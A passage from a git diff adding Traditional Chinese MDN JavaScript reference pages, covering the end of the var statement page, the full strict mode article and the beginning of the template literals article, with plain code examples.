+<p>Here, <code>x</code> and <code>y</code> are declared before any code is executed, the assignments occur later. At the time "<code>x = y</code>" is evaluated, <code>y</code> exists so no <code>ReferenceError</code> is thrown and its value is '<code>undefined</code>'. So, <code>x</code> is assigned the undefined value. Then, <code>y</code> is assigned a value of 'A'. Consequently, after the first line, <code>x === undefined &amp;&amp; y === 'A'</code>, hence the result.</p>
+
+<h3 id="Initialization_of_several_variables">Initialization of several variables</h3>
+
+<pre class="brush: js">var x = 0;
+
+function f(){
+  var x = y = 1; // x is declared locally. y is not!
+}
+f();
+
+console.log(x, y); // Throws a ReferenceError in strict mode (y is not defined). 0, 1 otherwise.
+// In non-strict mode:
+// x is the global one as expected
+// y leaked outside of the function, though!</pre>
+
+<h3 id="Implicit_globals_and_outer_function_scope">Implicit globals and outer function scope</h3>
+
+<p>Variables that appear to be implicit globals may be references to variables in an outer function scope:</p>
+
+<pre class="brush: js">var x = 0;  // x is declared global, then assigned a value of 0
+
+console.log(typeof z); // undefined, since z doesn't exist yet
+
+function a() { // when a is called,
+  var y = 2;   // y is declared local to function a, then assigned a value of 2
+
+  console.log(x, y);   // 0 2
+
+  function b() {       // when b is called
+    x = 3;  // assigns 3 to existing global x, doesn't create a new global var
+    y = 4;  // assigns 4 to existing outer y, doesn't create a new global var
+    z = 5;  // creates a new global variable z and assigns a value of 5.
+  }         // (Throws a ReferenceError in strict mode.)
+
+  b();     // calling b creates z as a global variable
+  console.log(x, y, z);  // 3 4 5
+}
+
+a();                   // calling a also calls b
+console.log(x, z);     // 3 5
+console.log(typeof y); // undefined as y is local to function a</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.2', 'var statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-variable-statement', 'variable statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let"><code>let</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/strict_mode/index.html b/files/zh-tw/web/javascript/reference/strict_mode/index.html
new file mode 100644
index 0000000000..b37e56f1ca
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/strict_mode/index.html
@@ -0,0 +1,369 @@
+---
+title: Strict mode
+slug: Web/JavaScript/Reference/Strict_mode
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p><a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> 提供開發者語法嚴格、語法受限的模式 (strict mode) ，會影響語法的使用但沒支援受限模式的瀏覽器一樣可以跑，只是行為有很大的可能會跟你想的不一樣。所以別太依賴受限模式，除非你做過功能性測試。另外這個模式可以混用在普通模式裡，你可以利用這個特性慢慢把舊的程式碼轉變成完全嚴謹和低變化性的狀態。</p>
+
+<p>這個模式裡做了些語意上的修正:</p>
+
+<ol>
+ <li>透過拋出錯誤的方式消除一些安靜的錯誤（意指不再靜默地忽略某些錯誤）</li>
+ <li>修正會阻礙 JavaScript 引擎進行最佳化的錯誤: 相同的程式碼在嚴格模式有時候能運行得比非嚴格模式來的快</li>
+ <li>禁止使用一些有可能被未來版本 ECMAScript 定義的語法</li>
+</ol>
+
+<p>參考 <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">過渡到嚴格模式</a>，如果你希望將你的程式碼在  JavaScript 語法嚴格、語法受限下執行。</p>
+
+<div class="note">
+<p>Sometimes, you'll see the default, non-strict, mode referred to as "sloppy mode". This isn't an official term, but be aware of it, just in case.</p>
+</div>
+
+<h2 id="用法">用法</h2>
+
+<p>嚴格模式可以用於整份腳本或個別函數中。不要在封閉的大括弧內 <code>{}</code> 這樣做； 這麼做在上下文中是沒有效果的。<code>eval</code> 程式、<code>Function</code>、事件處理參數、傳入  {{domxref("WindowTimers.setTimeout()")}} 函數的字串都是整個腳本，開啟嚴格模式他也會如預期般運作。</p>
+
+<h3 id="Strict_mode_for_scripts">Strict mode for scripts</h3>
+
+<p>To invoke strict mode for an entire script, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) before any other statements.</p>
+
+<pre class="brush: js">// Whole-script strict mode syntax
+'use strict';
+var v = "Hi! I'm a strict mode script!";
+</pre>
+
+<p>This syntax has a trap that has <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">already bitten</a> <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=627531">a major site</a>: it isn't possible to blindly concatenate non-conflicting scripts. Consider concatenating a strict mode script with a non-strict mode script: the entire concatenation looks strict! The inverse is also true: non-strict plus strict looks non-strict. Concatenation of strict mode scripts with each other is fine, and concatenation of non-strict mode scripts is fine. Only concatenating strict and non-strict scripts is problematic. It is thus recommended that you enable strict mode on a function-by-function basis (at least during the transition period).</p>
+
+<p>You can also take the approach of wrapping the entire contents of a script in a function and having that outer function use strict mode. This eliminates the concatenation problem but it means that you have to explicitly export any global variables out of the function scope.</p>
+
+<h3 id="Strict_mode_for_functions">Strict mode for functions</h3>
+
+<p>Likewise, to invoke strict mode for a function, put the <em>exact</em> statement <code>"use strict";</code> (or <code>'use strict';</code>) in the function's body before any other statements.</p>
+
+<pre class="brush: js">function strict() {
+  // Function-level strict mode syntax
+  'use strict';
+  function nested() { return 'And so am I!'; }
+  return "Hi!  I'm a strict mode function!  " + nested();
+}
+function notStrict() { return "I'm not strict."; }
+</pre>
+
+<h2 id="Changes_in_strict_mode">Changes in strict mode</h2>
+
+<p>Strict mode changes both syntax and runtime behavior. Changes generally fall into these categories: changes converting mistakes into errors (as syntax errors or at runtime), changes simplifying how the particular variable for a given use of a name is computed, changes simplifying <code>eval</code> and <code>arguments</code>, changes making it easier to write "secure" JavaScript, and changes anticipating future ECMAScript evolution.</p>
+
+<h3 id="Converting_mistakes_into_errors">Converting mistakes into errors</h3>
+
+<p>Strict mode changes some previously-accepted mistakes into errors. JavaScript was designed to be easy for novice developers, and sometimes it gives operations which should be errors non-error semantics. Sometimes this fixes the immediate problem, but sometimes this creates worse problems in the future. Strict mode treats these mistakes as errors so that they're discovered and promptly fixed.</p>
+
+<p>First, strict mode makes it impossible to accidentally create global variables. In normal JavaScript mistyping a variable in an assignment creates a new property on the global object and continues to "work" (although future failure is possible: likely, in modern JavaScript). Assignments which would accidentally create global variables instead throw in strict mode:</p>
+
+<pre class="brush: js">'use strict';
+                       // Assuming a global variable mistypedVariable exists
+mistypeVariable = 17; // this line throws a ReferenceError due to the
+                       // misspelling of variable
+</pre>
+
+<p>Second, strict mode makes assignments which would otherwise silently fail to throw an exception. For example, <code>NaN</code> is a non-writable global variable. In normal code assigning to <code>NaN</code> does nothing; the developer receives no failure feedback. In strict mode assigning to <code>NaN</code> throws an exception. Any assignment that silently fails in normal code (assignment to a non-writable global or property, assignment to a getter-only property, assignment to a new property on a <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Object/preventExtensions" title="en-US/JavaScript/Reference/Global Objects/Object/preventExtensions">non-extensible</a> object) will throw in strict mode:</p>
+
+<pre class="brush: js">'use strict';
+
+// Assignment to a non-writable global
+var undefined = 5; // throws a TypeError
+var Infinity = 5; // throws a TypeError
+
+// Assignment to a non-writable property
+var obj1 = {};
+Object.defineProperty(obj1, 'x', { value: 42, writable: false });
+obj1.x = 9; // throws a TypeError
+
+// Assignment to a getter-only property
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // throws a TypeError
+
+// Assignment to a new property on a non-extensible object
+var fixed = {};
+Object.preventExtensions(fixed);
+fixed.newProp = 'ohai'; // throws a TypeError
+</pre>
+
+<p>Third, strict mode makes attempts to delete undeletable properties throw (where before the attempt would simply have no effect):</p>
+
+<pre class="brush: js">'use strict';
+delete Object.prototype; // throws a TypeError
+</pre>
+
+<p>Fourth, strict mode prior to Gecko 34 requires that all properties named in an object literal be unique. Normal code may duplicate property names, with the last one determining the property's value. But since only the last one does anything, the duplication is simply a vector for bugs, if the code is modified to change the property value other than by changing the last instance. Duplicate property names are a syntax error in strict mode:</p>
+
+<div class="note">
+<p>This is no longer the case in ECMAScript 2015 ({{bug(1041128)}}).</p>
+</div>
+
+<pre class="brush: js">'use strict';
+var o = { p: 1, p: 2 }; // !!! syntax error
+</pre>
+
+<p>Fifth, strict mode requires that function parameter names be unique. In normal code the last duplicated argument hides previous identically-named arguments. Those previous arguments remain available through <code>arguments[i]</code>, so they're not completely inaccessible. Still, this hiding makes little sense and is probably undesirable (it might hide a typo, for example), so in strict mode duplicate argument names are a syntax error:</p>
+
+<pre class="brush: js">function sum(a, a, c) { // !!! syntax error
+  'use strict';
+  return a + b + c; // wrong if this code ran
+}
+</pre>
+
+<p>Sixth, strict mode in ECMAScript 5 forbids octal syntax. Octal syntax isn't part of ECMAScript 5, but it's supported in all browsers by prefixing the octal number with a zero: <code>0644 === 420</code> and <code>"\045" === "%"</code>. In ECMAScript 2015 Octal number is supported by prefixing a number with "<code>0</code>o". i.e. </p>
+
+<pre class="brush: js">var a = 0o10; // ES2015: Octal</pre>
+
+<p>Novice developers sometimes believe a leading zero prefix has no semantic meaning, so they use it as an alignment device — but this changes the number's meaning! The leading zero syntax for octals is rarely useful and can be mistakenly used, so strict mode makes it a syntax error:</p>
+
+<pre class="brush: js">'use strict';
+var sum = 015 + // !!! syntax error
+          197 +
+          142;
+
+var sumWithOctal = 0o10 + 8;
+console.log(sumWithOctal); // 16
+</pre>
+
+<p>Seventh, strict mode in ECMAScript 2015 forbids setting properties on {{Glossary("primitive")}} values. Without strict mode, setting properties is simply ignored (no-op), with strict mode, however, a {{jsxref("TypeError")}} is thrown.</p>
+
+<pre class="brush: js">(function() {
+'use strict';
+
+false.true = '';         // TypeError
+(14).sailing = 'home';     // TypeError
+'with'.you = 'far away'; // TypeError
+
+})();</pre>
+
+<h3 id="Simplifying_variable_uses">Simplifying variable uses</h3>
+
+<p>Strict mode simplifies how variable names map to particular variable definitions in the code. Many compiler optimizations rely on the ability to say that variable <em>X</em> is stored in <em>that</em> location: this is critical to fully optimizing JavaScript code. JavaScript sometimes makes this basic mapping of name to variable definition in the code impossible to perform until runtime. Strict mode removes most cases where this happens, so the compiler can better optimize strict mode code.</p>
+
+<p>First, strict mode prohibits <code>with</code>. The problem with <code>with</code> is that any name inside the block might map either to a property of the object passed to it, or to a variable in surrounding (or even global) scope, at runtime: it's impossible to know which beforehand. Strict mode makes <code>with</code> a syntax error, so there's no chance for a name in a <code>with</code> to refer to an unknown location at runtime:</p>
+
+<pre class="brush: js">'use strict';
+var x = 17;
+with (obj) { // !!! syntax error
+  // If this weren't strict mode, would this be var x, or
+  // would it instead be obj.x?  It's impossible in general
+  // to say without running the code, so the name can't be
+  // optimized.
+  x;
+}
+</pre>
+
+<p>The simple alternative of assigning the object to a short name variable, then accessing the corresponding property on that variable, stands ready to replace <code>with</code>.</p>
+
+<p>Second, <a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/"><code>eval</code> of strict mode code does not introduce new variables into the surrounding scope</a>. In normal code <code>eval("var x;")</code> introduces a variable <code>x</code> into the surrounding function or the global scope. This means that, in general, in a function containing a call to <code>eval</code> every name not referring to an argument or local variable must be mapped to a particular definition at runtime (because that <code>eval</code> might have introduced a new variable that would hide the outer variable). In strict mode <code>eval</code> creates variables only for the code being evaluated, so <code>eval</code> can't affect whether a name refers to an outer variable or some local variable:</p>
+
+<pre class="brush: js">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x;");
+console.assert(x === 17);
+console.assert(evalX === 42);
+</pre>
+
+<p>Relatedly, if the function <code>eval</code> is invoked by an expression of the form <code>eval(...)</code> in strict mode code, the code will be evaluated as strict mode code. The code may explicitly invoke strict mode, but it's unnecessary to do so.</p>
+
+<pre class="brush: js">function strict1(str) {
+  'use strict';
+  return eval(str); // str will be treated as strict mode code
+}
+function strict2(f, str) {
+  'use strict';
+  return f(str); // not eval(...): str is strict if and only
+                 // if it invokes strict mode
+}
+function nonstrict(str) {
+  return eval(str); // str is strict if and only
+                    // if it invokes strict mode
+}
+
+strict1("'Strict mode code!'");
+strict1("'use strict'; 'Strict mode code!'");
+strict2(eval, "'Non-strict code.'");
+strict2(eval, "'use strict'; 'Strict mode code!'");
+nonstrict("'Non-strict code.'");
+nonstrict("'use strict'; 'Strict mode code!'");
+</pre>
+
+<p>Thus names in strict mode <code>eval</code> code behave identically to names in strict mode code not being evaluated as the result of <code>eval</code>.</p>
+
+<p>Third, strict mode forbids deleting plain names. <code>delete name</code> in strict mode is a syntax error:</p>
+
+<pre class="brush: js">'use strict';
+
+var x;
+delete x; // !!! syntax error
+
+eval('var y; delete y;'); // !!! syntax error</pre>
+
+<h3 id="Making_eval_and_arguments_simpler">Making <code>eval</code> and <code>arguments</code> simpler</h3>
+
+<p>Strict mode makes <code>arguments</code> and <code>eval</code> less bizarrely magical. Both involve a considerable amount of magical behavior in normal code: <code>eval</code> to add or remove bindings and to change binding values, and <code>arguments</code> by its indexed properties aliasing named arguments. Strict mode makes great strides toward treating <code>eval</code> and <code>arguments</code> as keywords, although full fixes will not come until a future edition of ECMAScript.</p>
+
+<p>First, the names <code>eval</code> and <code>arguments</code> can't be bound or assigned in language syntax. All these attempts to do so are syntax errors:</p>
+
+<pre class="brush: js">'use strict';
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function('arguments', "'use strict'; return 17;");
+</pre>
+
+<p>Second, strict mode code doesn't alias properties of <code>arguments</code> objects created within it. In normal code within a function whose first argument is <code>arg</code>, setting <code>arg</code> also sets <code>arguments[0]</code>, and vice versa (unless no arguments were provided or <code>arguments[0]</code> is deleted). <code>arguments</code> objects for strict mode functions store the original arguments when the function was invoked. <code>arguments[i]</code> does not track the value of the corresponding named argument, nor does a named argument track the value in the corresponding <code>arguments[i]</code>.</p>
+
+<pre class="brush: js">function f(a) {
+  'use strict';
+  a = 42;
+  return [a, arguments[0]];
+}
+var pair = f(17);
+console.assert(pair[0] === 42);
+console.assert(pair[1] === 17);
+</pre>
+
+<p>Third, <code>arguments.callee</code> is no longer supported. In normal code <code>arguments.callee</code> refers to the enclosing function. This use case is weak: simply name the enclosing function! Moreover, <code>arguments.callee</code> substantially hinders optimizations like inlining functions, because it must be made possible to provide a reference to the un-inlined function if <code>arguments.callee</code> is accessed. <code>arguments.callee</code> for strict mode functions is a non-deletable property which throws when set or retrieved:</p>
+
+<pre class="brush: js">'use strict';
+var f = function() { return arguments.callee; };
+f(); // throws a TypeError
+</pre>
+
+<h3 id="Securing_JavaScript">"Securing" JavaScript</h3>
+
+<p>Strict mode makes it easier to write "secure" JavaScript. Some websites now provide ways for users to write JavaScript which will be run by the website <em>on behalf of other users</em>. JavaScript in browsers can access the user's private information, so such JavaScript must be partially transformed before it is run, to censor access to forbidden functionality. JavaScript's flexibility makes it effectively impossible to do this without many runtime checks. Certain language functions are so pervasive that performing runtime checks has considerable performance cost. A few strict mode tweaks, plus requiring that user-submitted JavaScript be strict mode code and that it be invoked in a certain manner, substantially reduce the need for those runtime checks.</p>
+
+<p>First, the value passed as <code>this</code> to a function in strict mode is not forced into being an object (a.k.a. "boxed"). For a normal function, <code>this</code> is always an object: either the provided object if called with an object-valued <code>this</code>; the value, boxed, if called with a Boolean, string, or number <code>this</code>; or the global object if called with an <code>undefined</code> or <code>null</code> <code>this</code>. (Use <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/JavaScript/Reference/Global_Objects/Function/call"><code>call</code></a>, <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/JavaScript/Reference/Global_Objects/Function/apply"><code>apply</code></a>, or <a href="/en-US/Web/JavaScript/Reference/Global_Objects/Function/bind" title="en-US/JavaScript/Reference/Global_Objects/Function/bind"><code>bind</code></a> to specify a particular <code>this</code>.) Not only is automatic boxing a performance cost, but exposing the global object in browsers is a security hazard, because the global object provides access to functionality that "secure" JavaScript environments must restrict. Thus for a strict mode function, the specified <code>this</code> is not boxed into an object, and if unspecified, <code>this</code> will be <code>undefined</code>:</p>
+
+<pre class="brush: js">'use strict';
+function fun() { return this; }
+console.assert(fun() === undefined);
+console.assert(fun.call(2) === 2);
+console.assert(fun.apply(null) === null);
+console.assert(fun.call(undefined) === undefined);
+console.assert(fun.bind(true)() === true);
+</pre>
+
+<p>That means, among other things, that in browsers it's no longer possible to reference the <code>window</code> object through <code>this</code> inside a strict mode function.</p>
+
+<p>Second, in strict mode it's no longer possible to "walk" the JavaScript stack via commonly-implemented extensions to ECMAScript. In normal code with these extensions, when a function <code>fun</code> is in the middle of being called, <code>fun.caller</code> is the function that most recently called <code>fun</code>, and <code>fun.arguments</code> is the <code>arguments</code> for that invocation of <code>fun</code>. Both extensions are problematic for "secure" JavaScript, because they allow "secured" code to access "privileged" functions and their (potentially unsecured) arguments. If <code>fun</code> is in strict mode, both <code>fun.caller</code> and <code>fun.arguments</code> are non-deletable properties which throw when set or retrieved:</p>
+
+<pre class="brush: js">function restricted() {
+  'use strict';
+  restricted.caller;    // throws a TypeError
+  restricted.arguments; // throws a TypeError
+}
+function privilegedInvoker() {
+  return restricted();
+}
+privilegedInvoker();
+</pre>
+
+<p>Third, <code>arguments</code> for strict mode functions no longer provide access to the corresponding function call's variables. In some old ECMAScript implementations <code>arguments.caller</code> was an object whose properties aliased variables in that function. This is a <a class="external" href="http://stuff.mit.edu/iap/2008/facebook/">security hazard</a> because it breaks the ability to hide privileged values via function abstraction; it also precludes most optimizations. For these reasons no recent browsers implement it. Yet because of its historical functionality, <code>arguments.caller</code> for a strict mode function is also a non-deletable property which throws when set or retrieved:</p>
+
+<pre class="brush: js">'use strict';
+function fun(a, b) {
+  'use strict';
+  var v = 12;
+  return arguments.caller; // throws a TypeError
+}
+fun(1, 2); // doesn't expose v (or a or b)
+</pre>
+
+<h3 id="Paving_the_way_for_future_ECMAScript_versions">Paving the way for future ECMAScript versions</h3>
+
+<p>Future ECMAScript versions will likely introduce new syntax, and strict mode in ECMAScript 5 applies some restrictions to ease the transition. It will be easier to make some changes if the foundations of those changes are prohibited in strict mode.</p>
+
+<p>First, in strict mode a short list of identifiers become reserved keywords. These words are <code>implements</code>, <code>interface</code>, <code>let</code>, <code>package</code>, <code>private</code>, <code>protected</code>, <code>public</code>, <code>static</code>, and <code>yield</code>. In strict mode, then, you can't name or use variables or arguments with these names.</p>
+
+<pre class="brush: js">function package(protected) { // !!!
+  'use strict';
+  var implements; // !!!
+
+  interface: // !!!
+  while (true) {
+    break interface; // !!!
+  }
+
+  function private() { } // !!!
+}
+function fun(static) { 'use strict'; } // !!!
+
+</pre>
+
+<p>Two Mozilla-specific caveats: First, if your code is JavaScript 1.7 or greater (for example in chrome code or when using the right <code>&lt;script type=""&gt;</code>) and is strict mode code, <code>let</code> and <code>yield</code> have the functionality they've had since those keywords were first introduced. But strict mode code on the web, loaded with <code>&lt;script src=""&gt;</code> or <code>&lt;script&gt;...&lt;/script&gt;</code>, won't be able to use <code>let</code>/<code>yield</code> as identifiers. Second, while ES5 unconditionally reserves the words <code>class</code>, <code>enum</code>, <code>export</code>, <code>extends</code>, <code>import</code>, and <code>super</code>, before Firefox 5 Mozilla reserved them only in strict mode.</p>
+
+<p>Second, <a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">strict mode prohibits function statements not at the top level of a script or function</a>. In normal code in browsers, function statements are permitted "everywhere". <em>This is not part of ES5 (or even ES3)!</em> It's an extension with incompatible semantics in different browsers. Future ECMAScript editions will hopefully specify new semantics for function statements not at the top level of a script or function. <a class="external" href="http://wiki.ecmascript.org/doku.php?id=conventions:no_non_standard_strict_decls">Prohibiting such function statements in strict mode</a> "clears the deck" for specification in a future ECMAScript release:</p>
+
+<pre class="brush: js">'use strict';
+if (true) {
+  function f() { } // !!! syntax error
+  f();
+}
+
+for (var i = 0; i &lt; 5; i++) {
+  function f2() { } // !!! syntax error
+  f2();
+}
+
+function baz() { // kosher
+  function eit() { } // also kosher
+}
+</pre>
+
+<p>This prohibition isn't strict mode proper, because such function statements are an extension of basic ES5. But it is the recommendation of the ECMAScript committee, and browsers will implement it.</p>
+
+<h2 id="Strict_mode_in_browsers">Strict mode in browsers</h2>
+
+<p>The major browsers now implement strict mode. However, don't blindly depend on it since there still are numerous <a class="external" href="http://caniuse.com/use-strict" rel="external" title="caniuse.com availability of strict mode">Browser versions used in the wild that only have partial support for strict mode</a> or do not support it at all (e.g. Internet Explorer below version 10!). <em>Strict mode changes semantics.</em> Relying on those changes will cause mistakes and errors in browsers which don't implement strict mode. Exercise caution in using strict mode, and back up reliance on strict mode with feature tests that check whether relevant parts of strict mode are implemented. Finally, make sure to <em>test your code in browsers that do and don't support strict mode</em>. If you test only in browsers that don't support strict mode, you're very likely to have problems in browsers that do, and vice versa.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.1.1', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Initial definition. See also: <a href="http://www.ecma-international.org/ecma-262/5.1/#sec-C">Strict mode restriction and exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td><a href="http://www.ecma-international.org/ecma-262/6.0/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-strict-mode-code', 'Strict Mode Code')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td><a href="https://tc39.github.io/ecma262/#sec-strict-mode-of-ecmascript">Strict mode restriction and exceptions</a></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a class="external" href="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/" title="http://whereswalden.com/2010/09/08/new-es5-strict-mode-support-now-with-poison-pills/">Where's Walden? » New ES5 strict mode support: now with poison pills!</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/" title="http://whereswalden.com/2011/01/24/new-es5-strict-mode-requirement-function-statements-not-at-top-level-of-a-program-or-function-are-prohibited/">Where's Walden? » New ES5 strict mode requirement: function statements not at top level of a program or function are prohibited</a></li>
+ <li><a class="external" href="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/" title="http://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/">Where's Walden? » New ES5 strict mode support: new vars created by strict mode eval code are local to that code only</a></li>
+ <li><a href="http://qnimate.com/javascript-strict-mode-in-nutshell/">JavaScript "use strict" tutorial for beginners.</a></li>
+ <li><a class="external" href="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/" title="http://ejohn.org/blog/ecmascript-5-strict-mode-json-and-more/">John Resig - ECMAScript 5 Strict Mode, JSON, and More</a></li>
+ <li><a class="external" href="http://dmitrysoshnikov.com/ecmascript/es5-chapter-2-strict-mode/">ECMA-262-5 in detail. Chapter 2. Strict Mode.</a></li>
+ <li><a class="external" href="http://kangax.github.io/compat-table/es5/#Strict_mode">Strict mode compatibility table</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode">Transitioning to strict mode</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/template_literals/index.html b/files/zh-tw/web/javascript/reference/template_literals/index.html
new file mode 100644
index 0000000000..9ed8da0437
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/template_literals/index.html
@@ -0,0 +1,252 @@
+---
+title: 樣板字面值
+slug: Web/JavaScript/Reference/Template_literals
+tags:
+  - ECMAScript 2015
+  - Guide
+  - JavaScript
+  - String
+  - Template Strings
+  - Template literals
+  - Template string
+  - strings
+translation_of: Web/JavaScript/Reference/Template_literals
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>樣板字面值（Template literals）是允許嵌入運算式的字串字面值（string literals）。你可以透過樣板字面值來使用多行字串及字串內插（string interpolation）功能。他們在 ES2015 規範的先行版本中被稱為「樣板字串（template strings）」。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">`string text`
+
+`string text line 1
+ string text line 2`
+
+`string text ${expression} string text`
+
+tag `string text ${expression} string text`
+</pre>
+
+<h2 id="描述">描述</h2>
+
+<p>樣板字面值（Template literals）被反引號（back-tick，<a href="https://zh.wikipedia.org/wiki/%E9%87%8D%E9%9F%B3%E7%AC%A6">重音符號</a>）：` ` 字元封閉，代替了雙或單引號。樣板字面值可以包含由錢字元及花括號所構成（<code>${expression}</code>）的佔位符（placeholders）。這個在佔位符中的運算式以及在它們之間的文字會被傳入一個函式。預設函式只是將這些部分組合成一個單一的字串。如果在樣板字面值前有一個運算式（<code>tag</code> here），則此樣板字串被稱為「標籤樣板字面值（tagged template literal）」。在此情況下，標籤運算式（通常是一個函式）會被呼叫來處理樣板字面值，讓你可以在函式回傳之前進行操作。要在樣板字面值中跳脫一個反引號，可以於反引號前加上一個反斜線（backslash）<strong>\ </strong>。</p>
+
+<pre class="brush: js">`\`` === '`' // --&gt; true</pre>
+
+<h3 id="多行字串">多行字串</h3>
+
+<p>任何在樣板字面值中使用、插入的換行符號，都是樣板字面值的一部份。在普通的字串中，我們需要使用如下的語法以達到換行的效果：</p>
+
+<pre class="brush: js">console.log('string text line 1\n' +
+'string text line 2');
+// "string text line 1
+// string text line 2"</pre>
+
+<p>但使用樣板字面值，你只需要撰寫如下所示的程式碼，就能達到同樣的效果：</p>
+
+<pre class="brush: js">console.log(`string text line 1
+string text line 2`);
+// "string text line 1
+// string text line 2"</pre>
+
+<h3 id="運算式內插">運算式內插</h3>
+
+<p>要在普通的字串中內嵌運算式，我們必須使用如下語法：</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log('Fifteen is ' + (a + b) + ' and\nnot ' + (2 * a + b) + '.');
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<p>現在有了樣板字面值，我們可以用一種更優雅的寫法，讓語法更具可讀性：</p>
+
+<pre class="brush: js">var a = 5;
+var b = 10;
+console.log(`Fifteen is ${a + b} and
+not ${2 * a + b}.`);
+// "Fifteen is 15 and
+// not 20."</pre>
+
+<h3 id="巢狀樣板">巢狀樣板</h3>
+
+<p>In certain times, nesting a template is the easiest and perhaps more readable way to have configurable strings. Within a backticked template it is simple to allow inner backticks simply by using them inside a placeholder <code>${ }</code> within the template. For instance, if condition a is true: then return this templated literal.</p>
+
+<p>In ES5:</p>
+
+<pre class="brush: js">var classes = 'header'
+classes += (isLargeScreen() ?
+   '' : item.isCollapsed ?
+     ' icon-expander' : ' icon-collapser');
+</pre>
+
+<p>In ES2015 with template literals and without nesting:</p>
+
+<pre class="brush: js">const classes = `header ${ isLargeScreen() ? '' :
+    (item.isCollapsed ? 'icon-expander' : 'icon-collapser') }`;</pre>
+
